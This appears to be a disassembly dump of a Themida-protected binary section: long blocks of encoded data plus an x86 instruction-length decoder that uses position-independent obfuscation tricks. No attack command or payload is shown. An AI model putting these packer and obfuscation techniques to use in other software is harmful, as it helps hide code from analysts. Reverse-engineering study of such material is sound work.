		dd 5338BAAAh, 6581EF41h, 47F639Ah, 3AA86990h, 0A0E3C67Dh
		dd 3C3B3A97h, 35072522h, 9B3389CAh, 85F4B385h, 152D58AFh
		dd 6297BD8Fh, 551167AAh, 0FFAB3EE2h, 0BFCEBA95h, 94BAB206h
		dd 358A04ECh, 884238BFh, 3CD501B3h, 656945CAh, 8DF8BA99h
		dd 351C35B0h, 1FCFB443h, 0A88A38FFh, 3CB485F2h,	6D9AE235h
		dd 5998C49h, 417038FFh,	8D6B61DDh, 351C35B0h, 1FCFB443h
		dd 0A88A38FFh, 3CB480EDh, 6D9AE235h, 0DDB031A0h, 357031C9h
		dd 6DFB69EAh, 31387543h, 312A754Bh, 350731DCh, 0E940618Ah
		dd 0C039BF33h, 0BBEFF141h, 357031C6h, 353EBBC5h, 0BD1331CAh
		dd 350E31CAh, 4E91AC47h, 6AD538F0h, 4F8FB447h, 240938F0h
		dd 0A07031CAh, 0C81A2945h, 0DE388094h, 2AEEDC1Fh, 0A3CDFBBCh
		dd 35E9E135h, 35C2D99Dh, 6AC031CAh, 49F96E09h, 71B935EEh
		dd 350535EEh, 624931CAh, 1BB70909h, 3ACE4AD2h, 35C13448h
		dd 80198BCAh, 45CA334Ah, 3E12FDD6h, 0BA983E0Ah,	550E31CAh
		dd 3517BDC5h, 3E6A31CAh, 4C131CAh, 0C77209F9h, 5E30E45h
		dd 0B5588D0Bh, 82135402h, 0B86F503Ch, 4B3357h, 0BA8C51C3h
		dd 35C131CCh, 35E0BDC5h, 8A7F31CAh, 36805031h, 5F1C31CAh
		dd 36E664CAh, 150731CAh, 0BCDEF297h, 0B4C515A6h, 23E4158Eh
		dd 707031CAh, 53EDF29Fh, 0E69757C4h, 3564D235h,	3504D99Ch
		dd 6BA331CAh, 41486F09h, 716135EEh, 356B35EEh, 637E31CAh
		dd 940D4209h, 0FE04C615h, 3502D91Ch, 0BB8931CAh, 0BEF93F3Fh
		dd 0A86D6F3Bh, 3C4A4A54h, 35383E22h, 29D9BFCAh,	0AB2BFF58h
		dd 0ECD0E98Ah, 4015BE39h, 35D9B7C5h, 260931CAh,	0E97031CAh
		dd 114E60EDh, 0C373763Ch, 1A4E9A62h, 9E4ADCFAh,	0B8DD373Dh
		dd 0FBB7F4Fh, 0C930CEC3h, 0B17FF1C1h, 35383196h, 0DD4A31A0h
		dd 350E31C9h, 6BC46FEAh, 31A74543h, 31E5754Bh, 35E031D0h
		dd 30B3678Ch, 1EDECB96h, 38F5A74Ah, 7E0E31CAh, 963EE4E5h
		dd 95123FE6h, 0D27DA2A1h, 79E2AC47h, 551038FFh,	0C3588EACh
		dd 54E2BAABh, 350E3072h, 0DCE4CECAh, 358331C6h,	0C73941C9h
		dd 0C56FCCE7h, 0F2C0568Ch, 4E9BAC47h, 357638F0h, 350DD99Ah
		dd 6D2731CAh, 710A6909h, 714035EEh, 35F735EEh, 653031CAh
		dd 9BA02809h, 0BF3A836Dh, 7B8BBC21h, 3A0E0BB0h,	3AE3E67Dh
		dd 35C13742h, 5A28B0CAh, 0CD3CF2ECh, 5FE8CEABh,	36F463CAh
		dd 150E31CAh, 0BC5DF290h, 0B487159Eh, 2DC5158Eh, 77E031CAh
		dd 0FAD8F298h, 0DD71F340h, 351C31C2h, 0FABD952h, 99C7A125h
		dd 36043E95h, 53C131CAh, 0F5EBFA41h, 3564B5C5h,	0B8CD31CAh
		dd 503357h, 350D89C3h, 0CAFB31CAh, 2A778829h, 65827060h
		dd 356C3EAAh, 3A7031CAh, 6F59E275h, 4E908C47h, 0B88338F0h
		dd 3C3D4EB4h, 7EDF4C72h, 44440240h, 1EE904E4h, 0A86DF005h
		dd 3C4A4A54h, 35383E22h, 29D9BFCAh, 0AB2BFF58h,	0ECD0E98Ah
		dd 4015BE39h, 0F305E983h, 66C08BA4h, 5343ECBEh,	0C38B5FF9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 85C35040h
		dd 0D89F0BDFh, 0B70B371Ch, 0CE8h, 3B00300h, 626023DBh
		dd 0C065E11Ch, 0E9DD80EBh, 6AC08B5Fh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 2022C356h
		dd 0B1BEB580h, 8303F678h, 3526A1BDh, 9750009h, 3079BD83h
		dd 74000935h, 8B535019h, 47AB8C0h, 85890000h, 9352CA9h
		dd 0B49F9D8Dh, 0D3FF0937h, 0BD83585Bh, 9353079h, 50177400h
		dd 47AB853h, 85890000h,	9352CA9h, 0B1409D8Dh, 0D3FF0937h
		dd 8156585Bh, 0D7FD2BD6h, 6A5A54h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 56B57CC3h, 158E0Fh, 10E90000h
		dd 95000000h, 0DF42C614h, 0F6049BEEh, 0D509E067h, 5A51F573h
		dd 3CE9C08Bh, 1, 4Eh dup(0)
		dd 83000000h, 350695BDh, 840F0109h, 570h, 0DE9h, 0C43DAD00h
		dd 0DA48FCF5h, 0E6126DF6h, 5060DC73h, 665BD38Bh, 0C661F38Bh
		dd 35179D85h, 7E94309h,	53000000h, 6C210EFCh, 8E0FD20Ch
		dd 10h,	0BE9h, 191D100h, 8B2E75D9h, 0D8F9EEADh,	0A15F8168h
		dd 0F5250F4h, 689h, 0F525000h, 0F585A31h, 0BF666031h, 5E5602F0h
		dd 81585A61h, 8F742434h, 0E8601804h, 14h, 6ABEDBD0h, 2B70CCA7h
		dd 14E77DAh, 0F745EDF8h, 2994AC70h, 1820F5Fh, 0F9000000h
		dd 7DB5FF61h, 60093516h, 0C2BA6657h, 66565A9Eh,	5F165ABBh
		dd 70858D61h, 0F09387Bh, 1E8Eh,	188E0F00h, 0E9000000h
		dd 13h,	5EACB2E9h, 12140152h, 28957727h, 86A82B8Eh, 0FFD001F6h
		dd 5E9D0h, 45A80000h, 89553DC4h, 350EC185h, 55006A09h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 9D85C6BFh, 50093517h, 0B800Fh, 6E90000h, 20000000h
		dd 1CB91509h, 381A6846h, 850F7596h, 0Fh, 0AE9h,	88801D00h
		dd 0E0C55A16h, 81688E87h, 753C2404h, 0FFF83317h, 35167DB5h
		dd 57006A09h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 8166607Fh, 8079FAD0h, 8D6113C0h,	387B7085h
		dd 7E909h, 0F0DB0000h, 39B10DB2h, 0E9D0FF07h, 10h, 0CDF2D875h
		dd 1C30983Bh, 5136DC2Fh, 580C3217h, 16158589h, 820F0935h
		dd 12h,	0DE9h, 0FB0D2C00h, 41CB3B16h, 6E5D3874h, 2F68F9FBh
		dd 50CB6ECDh, 61606052h, 0F61C18Bh, 8D0F6031h, 0
aAazxb4		db '`aaZX│4$',0
		db 65h,	0E1h, 3Bh
		dd 8B66F860h, 13E961CBh, 97000000h, 81103F16h, 0B9E6F874h
		dd 87FB7C8Fh, 3E622A3h,	0B5FFB8F1h, 935167Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 9AC35646h, 2AE11BAFh
		dd 0F18B6660h, 61C6BF0Fh, 70858DFCh, 6A09387Bh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0F8F3C355h, 0FDA9E1Fh, 0C8Bh, 7E900h, 2A430000h, 0C2D9D453h
		dd 16860FB6h, 0E9000000h, 11h, 360164BFh, 260EBB6Ch, 0F81297AAh
		dd 65139864h, 0FD0FFEAh, 0D80h,	8E900h,	3AB40000h, 767DFCF8h
		dd 8589A598h, 93505D9h,	0DE9h, 0AF701000h, 0F2A8D791h
		dd 1EBCDC7Dh, 0C6F53D8Bh, 35179D85h, 820F5009h,	0Eh, 8F68160h
		dd 0F280DF3h, 8Fh, 4E86100h, 56000000h,	60979CDCh, 4780FEBFh
		dd 0CE8B662Bh, 13E95061h, 31000000h, 5DD2B47Bh,	211A2B30h
		dd 2758540h, 79E74E05h,	448B1DC6h, 52500424h, 0DBE6660h
		dd 8E8DCh, 1F210000h, 39654041h, 615F3413h, 10E9310Fh
		dd 54000000h, 2BB12FE7h, 9C8D9C55h, 0BB7F7805h,	5A9CCC93h
		dd 60008B58h, 8B661BB3h, 448961C8h, 810F0424h, 1Ch, 0BE95250h
		dd 37000000h, 89FED335h, 991FE9E5h, 310FB0D2h, 310F5250h
		dd 585A585Ah, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 311A5BABh, 547F0BFFh, 0D8C0Fh, 66600000h
		dd 0D487F181h, 8E0Fh, 0FF610000h, 350EC9B5h, 81666009h
		dd 0B809EDF2h, 5C036033h, 98858D61h, 0F093538h,	0C8Eh
		dd 0B8666000h, 880FB9D8h, 0
		dd 6AD0FF61h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 56B9C355h, 7E9CB80h, 73000000h
		dd 656B5238h, 8589F8F2h, 9350061h, 0CE9h, 0D897B000h, 0C5BFD3A4h
		dd 0D10A6573h, 186E9CDh, 0AE90000h, 0AC000000h,	0AB6F729Bh
		dd 51AB9749h, 566095B2h, 0E950615Bh, 8,	0FD46D676h, 0ED62431Ah
		dd 56006A95h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 43AE5C79h, 0B12AE9D6h, 0EC8B3F58h, 28D3B860h
		dd 83615CB0h, 6AFCC4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0B595A2C3h, 533B3EFBh, 5E96057h
		dd 29000000h, 1B891C8Ah, 4A2C0BB9h, 0E9606108h,	14h, 0D107B5Dh
		dd 3CDD0F97h, 904D70DEh, 7D4D371Eh, 2DA7C15Dh, 0E8h, 0EA815A00h
		dd 93A8673h, 0FC45C7h, 83000000h, 350695BAh, 840F0109h
		dd 98h,	6A006A52h, 0C192FF0Fh, 5A09350Eh, 80998289h, 9A8D093Ah
		dd 93A809Dh, 2803C752h,	53000001h, 1592FF50h, 5A093516h
		dd 9D9A8D52h, 53093A80h, 8099B2FFh, 92FF093Ah, 9350061h
		dd 74C00B5Ah, 9D9A8D50h, 8D093A80h, 0C933247Bh,	104F981h
		dd 0D4740000h, 393C8141h, 4558452Eh, 348DEE75h,	0C752B39h
		dd 13F5BA8Dh, 4D8B0935h, 32A4F30Ch, 0FF52AAC0h,	828D0875h
		dd 93513F5h, 0D992FF50h, 5A093505h, 0A075C00Bh,	1FC45C7h
		dd 0EB000000h, 0FC45C707h, 0
		dd 0FC458B61h, 8C2C9h, 0B8B0Fh,	6E90000h, 48000000h, 7DE47179h
		dd 38BB602Eh, 0E94BF94Eh, 7, 48BF2087h,	611EE687h, 66E9D28Bh
		dd 60000002h, 0F6D98C66h, 840F04C1h, 35h, 0B5FF016Ah, 9350EC9h
		dd 7B70858Dh, 0D0FF0938h, 26958589h, 0FE8B0935h, 680CEFC1h
		dd 20060000h, 26A006Ah,	0D6857h, 95FF0001h, 9352695h, 32E9h
		dd 9D85C600h, 56093517h, 0C530DF68h, 7DB5FFA9h,	8D093516h
		dd 387B7085h, 89D0FF09h, 3526CD85h, 0D5858D09h,	50093531h
		dd 56A406Ah, 0CD95FF56h, 61093526h, 0C3h, 2 dup(0)
		dd 0D48B5200h, 8428B60h, 87D78589h, 428B093Ah, 0CF85890Ch
		dd 8B093A87h, 85891042h, 93A87D3h, 880DB58Dh, 858D093Ah
		dd 5B7E35h, 5A61D0FFh, 8B000CC2h, 3A87D7B5h, 0CF858B09h
		dd 83093A87h, 3A87D3BDh, 840F0009h, 7, 2E90689h, 88000000h
		dd 0CF06h, 0
		dd 8B520000h, 428B60D4h, 0D7858908h, 8D093A87h,	3A885EB5h
		dd 35858D09h, 0FF005B7Eh, 8B5A61D0h, 3A87D785h,	4C209h
		dd 87D7858Bh, 8B093Ah, 87D78589h, 0CF093Ah, 60000000h
		dd 8834B589h, 8589093Ah, 93A8830h, 29E9858Dh, 408B0935h
		dd 6D858944h, 8D093A88h, 3A88A3B5h, 35858D09h, 0FF005B7Eh
		dd 858B61D0h, 93A8834h,	309D8BC3h, 0F093A88h, 33C43B7h
		dd 785B8BD8h, 88309D03h, 738B093Ah, 30B50324h, 56093A88h
		dd 8B207B8Bh, 0BD031C73h, 93A8830h, 8830B503h, 83FC093Ah
		dd 8B41FFC9h, 3A88349Dh, 3178B09h, 3A883095h, 4C78309h
		dd 0C084028Ah, 0F840Fh,	33A0000h, 0FFDC850Fh, 4243FFFFh
		dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh
		dd 386048Bh, 3A883085h,	34858909h, 8B093A88h, 8BCE8BF0h
		dd 6DBD81C1h, 93A88h, 0FC03000h, 0D85h,	14E8C100h, 0FFC25h
		dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 93A886Dh
		dd 6070C83h, 8B07148Bh,	3C8124C2h, 0FC18B81h, 5784h, 6DBD8100h
		dd 93A88h, 0FC03000h, 0D85h, 0AE8C100h,	3FFFFC25h, 8E900h
		dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h
		dd 80h,	1E840Fh, 0BD810000h, 93A886Dh, 0C0300000h, 0E840Fh
		dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 0DB858DCFh
		dd 89093A87h, 350EDD85h, 71858D09h, 89093A88h, 35261985h
		dd 38858D09h, 89093A88h, 351DC585h, 5E809h, 9A3F0000h
		dd 0E955CD3Ch, 0Eh, 5F2C6250h, 87073DAh, 2D7C89D7h, 0BE5A8657h
		dd 62BBD23Fh, 6058C281h, 0EF680000h, 60000017h,	0F51DBA66h
		dd 0F88B6660h, 0E95F6161h, 5, 0D262860Ch, 0B1028BABh, 20E8819Dh
		dd 0F485A90h, 0C081DABFh, 2BAFAC35h, 1DA6BE66h,	0EE56E881h
		dd 0F38B1165h, 0DE8A0289h, 9E83EA81h, 0B70F2438h, 7FC281CBh
		dd 8B24389Eh, 850F4FCBh, 0Dh, 1FE9EA8Ah, 63000000h, 4CD21D2Fh
		dd 6CCD8063h, 0FFFFB0E9h, 3B691FFh, 0FFA06581h,	3A2D71E0h
		dd 7907EF27h, 8D8DC1A6h, 93A8B35h, 6840Fh, 9D2B0000h, 9351B25h
		dd 16298D89h, 890F0935h, 6, 2325BD89h, 0B58B0935h, 9352EF5h
		dd 287D85C7h, 6B040935h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0CAFA38C3h, 5585C726h
		dd 93522h, 8B000000h, 352911B5h, 0F5B5FF09h, 6A093511h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0D55EC356h, 9D090EE2h, 9352895h, 0D0595FFh
		dd 820F0935h, 0Ch, 6860Fh, 880F0000h, 0
		dd 95FF006Ah, 9350829h,	5CEBC08Bh, 1363D5B9h, 0EA76FF86h
		dd 29768C7Eh, 0C50BBD40h, 8BD7BA37h, 5A04FFE4h,	0DA047F3Bh
		dd 0D6F77B6Ah, 14ACF015h, 0C21AF25Fh, 6BDCB239h, 0D3C5DF3Fh
		dd 0EA5EF4CEh, 62DB9416h, 0C9E21ED5h, 89AD7C09h, 0DB2E454Ah
		dd 4D5C062Ch, 7A38CB44h, 0B3F0C21Bh, 827D309Fh,	0D1BAE18Bh
		dd 0C44CCD5Dh, 13E8h, 67CA4500h, 62EC2544h, 4756C630h
		dd 2C013A8Fh, 23B06384h, 21EA8166h, 8D315B13h, 93524B5h
		dd 67B9C381h, 8B600000h, 35025985h, 0B7686109h,	0BA000019h
		dd 71BD7BDBh, 8BD08B58h, 9EBE603Bh, 6001B0CDh, 8BDF8B66h
		dd 816161F0h, 45BC09F7h, 79B58935h, 81093524h, 38A511F7h
		dd 45B96611h, 0FFC78142h, 8B675933h, 350E7995h,	810F5709h
		dd 2, 38FCE8Bh,	324D8D23h, 0EB810935h, 660AC37Bh, 13E9h
		dd 0E8273D00h, 16D7F9Ah, 621E559Dh, 0C026D4BAh,	196ECBE2h
		dd 0C377C381h, 8E0F660Ah, 6, 0C3DB50Bh,	0F480935h, 1285h
		dd 2D8D8900h, 0E9093527h, 22h, 4B53415h, 0E9A79858h, 0Ch
		dd 56DE6A8Fh, 543FBA4Fh, 33CB7D5Bh, 0FFFF5EE9h,	39BC6DFFh
		dd 8D8D85E4h, 93A8D50h,	6E9h, 18B8D700h, 89797CD5h, 3516298Dh
		dd 5E809h, 888D0000h, 0F646A7Dh, 28Bh, 5FF98B00h, 287D85C7h
		dd 6CE00935h, 0BD2B0000h, 9351C4Dh, 6840Fh, 0BD8B0000h
		dd 93510DDh, 225585C7h,	935h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0BABA60C3h
		dd 6107A9D3h, 1239B5FFh, 6A0935h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 2D71BC3h, 0FD53499Fh
		dd 8B62C745h, 595FFC1h,	6A09350Dh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0D888C357h
		dd 0B8DE740Fh, 3D8523C9h, 6A093522h, 2995FF00h,	8B093508h
		dd 0B259EBC0h, 87D7C663h, 0C788571Fh, 4D7FBA8Fh, 0BC945135h
		dd 0BD5B9496h, 23400F64h, 9643EEF7h, 0C678281h,	0BD4FEF7Fh
		dd 0EE6784F0h, 0B0889AF3h, 0D7CC9CDEh, 0ECEC6F7Dh, 0AF7D97FBh
		dd 80E25FC4h, 94BDCBE7h, 0C86CFD38h, 0CA8D2A7Dh, 718B72BFh
		dd 3FF26266h, 38A766DCh, 3B931896h, 1C8E9h, 8 dup(41888800h)
		dd 4 dup(0)
		dd 880000h, 91C400h, 11111100h,	11111111h, 8899C911h, 88888888h
		dd 88h,	60000h,	444400h, 4100h,	11111100h, 44444411h, 88029944h
		dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h
		dd 0
		dd 88h,	888888h, 80000000h, 88888800h, 888h, 8888800h
		dd 88888808h, 88h, 0
		dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h
		dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h
		dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h
		dd 89h,	88888000h, 88888880h, 88888888h, 88888880h, 88888088h
		dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h,	0
		dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0)
		dd 100h, 14h dup(0)
		dd 6380C300h, 7577EDh, 100h, 11h dup(0)
		dd 353E900h, 0E8550000h, 0
aBajpEO		db ']│М├▐:',9,'`г┘с▌:',9,0
		align 4
		dd 81660000h, 0FA1663Eh, 0F85h,	0D785C700h, 6093A8Eh, 0E9000000h
		dd 24h,	8EDB858Dh, 8D50093Ah, 3A8F2B85h, 6A565009h, 1DE800h
		dd 0C4830000h, 0FF2510h, 85890000h, 93A8ED7h, 0D7B50361h
		dd 8B093A8Eh, 3A8ED385h
		db 9, 5Dh, 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_5975E0
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_5975EC
; ---------------------------------------------------------------------------


loc_5975E0:				; CODE XREF: Themida_:005975C9j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_5975EC:				; CODE XREF: Themida_:005975DBj
		push	ebx
		push	esi
		push	edi


loc_5975EF:				; CODE XREF: Themida_:00597644j
					; Themida_:00597660j ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_597602:				; CODE XREF: Themida_:00597629j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 93A903Dh
		lea	ebp, [ebp+93A8EB3h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_59762F
		inc	cl
		cmp	cl, 0Bh
		jb	loc_597602


loc_59762F:				; CODE XREF: Themida_:0059761Ej
		cmp	cl, 0Bh
		jz	loc_59768C
		cmp	al, 66h
		jnz	loc_59766D
		cmp	byte ptr [ebp-5], 0
		jnz	loc_5975EF
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_597665
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_5975EF
; ---------------------------------------------------------------------------


loc_597665:				; CODE XREF: Themida_:00597652j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_59766D:				; CODE XREF: Themida_:0059763Aj
		cmp	al, 67h
		jnz	loc_5975EF
		cmp	byte ptr [ebp-6], 0
		jnz	loc_5975EF
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_5975EF
; ---------------------------------------------------------------------------


loc_59768C:				; CODE XREF: Themida_:00597632j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5976B8
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5976BD
; ---------------------------------------------------------------------------


loc_5976B8:				; CODE XREF: Themida_:00597697j
		movzx	edi, al
		shr	edi, 1


loc_5976BD:				; CODE XREF: Themida_:005976B3j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 93A90F5h
		lea	ebp, [ebp+93A8DB3h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_59783F
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_597783
		dec	ecx
		jz	loc_597766
		dec	ecx
		jnz	loc_5977D6
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5977D2
		cmp	byte ptr [ebp-5], 0
		jz	loc_597745
		mov	byte ptr [ebp+0Bh], 2


loc_597745:				; CODE XREF: Themida_:0059773Bj
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 93A9181h
		mov	dword ptr [ebp+93A8ED3h], 1
		pop	ebp
		jmp	loc_5977D6
; ---------------------------------------------------------------------------


loc_597766:				; CODE XREF: Themida_:00597720j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5977B0
		cmp	byte ptr [ebp-5], 0
		jz	loc_5977B0
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_5977B0
; ---------------------------------------------------------------------------


loc_597783:				; CODE XREF: Themida_:00597719j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5977C9
		cmp	byte ptr [ebp-5], 0
		jz	loc_5977B8
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5977B0
		mov	[ebp+0Bh], cl


loc_5977B0:				; CODE XREF: Themida_:0059776Aj
					; Themida_:00597774j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_5977D6
; ---------------------------------------------------------------------------


loc_5977B8:				; CODE XREF: Themida_:00597791j
		cmp	dl, 5
		jnz	loc_5977D6
		mov	[ebp+0Bh], dl
		jmp	loc_5977D6
; ---------------------------------------------------------------------------


loc_5977C9:				; CODE XREF: Themida_:00597787j
		cmp	dl, 6
		jnz	loc_5977D6


loc_5977D2:				; CODE XREF: Themida_:00597731j
		mov	byte ptr [ebp+0Bh], 3


loc_5977D6:				; CODE XREF: Themida_:00597727j
					; Themida_:00597761j ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_597804
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_5977E6:				; CODE XREF: Themida_:005977FCj
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5977E6
		mov	esi, edx


loc_597804:				; CODE XREF: Themida_:005977D9j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_597839
		cmp	edi, 7Fh
		ja	loc_597839
		test	bl, 38h
		jnz	loc_597839
		cmp	byte ptr [ebp-7], 0
		jz	loc_597833
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_597836
; ---------------------------------------------------------------------------


loc_597833:				; CODE XREF: Themida_:00597824j
		push	1
		pop	eax


loc_597836:				; CODE XREF: Themida_:0059782Ej
		mov	[ebp-1], al


loc_597839:				; CODE XREF: Themida_:00597808j
					; Themida_:00597811j ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_59783F:				; CODE XREF: Themida_:005976E9j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_59786A
		dec	eax
		dec	eax
		jz	loc_597860
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_597872
; ---------------------------------------------------------------------------


loc_597860:				; CODE XREF: Themida_:0059784Fj
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_59786F
; ---------------------------------------------------------------------------


loc_59786A:				; CODE XREF: Themida_:00597847j
		mov	al, [ebp-3]
		add	al, 4


loc_59786F:				; CODE XREF: Themida_:00597865j
		add	[ebp-1], al


loc_597872:				; CODE XREF: Themida_:0059785Bj
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_59789A
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_597885:				; CODE XREF: Themida_:00597894j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_597885


loc_59789A:				; CODE XREF: Themida_:0059787Aj
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
aLNniuJ		db '▀п██┬⌠:',9,'j',0
		db 52h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0DD0F970Dh, 358D893Ch, 89093527h, 3516298Dh,	8D315709h
		dd 9352BBDh, 7D85C75Eh,	58093528h, 0C700005Ah, 35225585h
		dd 9, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 29F0B9F1h, 3530259Dh, 69B5FF09h
		dd 8009350Ah, 95FF4AE0h, 9350D05h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 0C1C35343h,	0FD5F45C5h, 81660DF9h
		dd 0AD378CF0h, 6AF78B24h, 2995FF00h, 8B093508h,	2819EBC0h
		dd 0E6AA9F0Dh, 3380AE1Bh, 12AD67D9h, 0B6A0A626h, 0FB9A9C0Ch
		dd 7B281875h, 15CE9h, 0EE1F6F00h, 0F64BEBF0h, 0E458A496h
		dd 0EF56B10Ah, 0EC56BD53h, 0E758310Ah, 0CC71CE53h, 9E24263Ah
		dd 0BE257753h, 0A7953C4h, 0D9B68860h, 0A815E552h, 0A815D253h
		dd 0A8147D53h, 0A814BA53h, 0A8145F53h, 0A814AF53h, 0A814F853h
		dd 0A814EB53h, 0A814FD53h, 0A814FA53h, 0DB6D2E53h, 0A879DB27h
		dd 0C7660F73h, 0DB67CA30h, 0A814D70Eh, 0A814EB53h, 0A814F553h
		dd 0A814FA53h, 0A8147D53h, 0A814BE53h, 0A8145F53h, 0A814AF53h
		dd 0A814D753h, 0A814EB53h, 0A814F553h, 0A814FA53h, 0A8147D53h
		dd 0A814BE53h, 0A8145F53h, 0A814AF53h, 0A814D753h, 0A814EB53h
		dd 0A814F553h, 0A814FA53h, 0A8147D53h, 0A814BE53h, 0A8145F53h
		dd 0A814AF53h, 0A814D753h, 0A814EB53h, 0A814F553h, 0A814FA53h
		dd 0A8147D53h, 0A814BE53h, 0A8145F53h, 0A814AF53h, 0A814D753h
		dd 0A814EB53h, 0A814F553h, 0A814FA53h, 0A8147D53h, 0A814BE53h
		dd 0A8145F53h, 0A814AF53h, 0A814D753h, 0A814EB53h, 0A814F553h
		dd 0A814FA53h, 0A8147D53h, 0A814BE53h, 0A8145F53h, 0A814AF53h
		dd 0A814D753h, 0A814EB53h, 0A814F553h, 0A814FA53h, 0A8147D53h
		dd 0A814BE53h, 0A8145F53h, 0A814AF53h, 0A814D753h, 0A814EB53h
		dd 0A814F553h, 0A814FA53h, 0A8147D53h, 5D5B2353h, 16BDE971h
		dd 0DD680000h, 0E9093A96h, 0FFFBB090h, 3A97D468h, 0B086E909h
		dd 9B68FFFBh, 0E9093A98h, 0FFFBB07Ch, 3A999168h, 0B072E909h
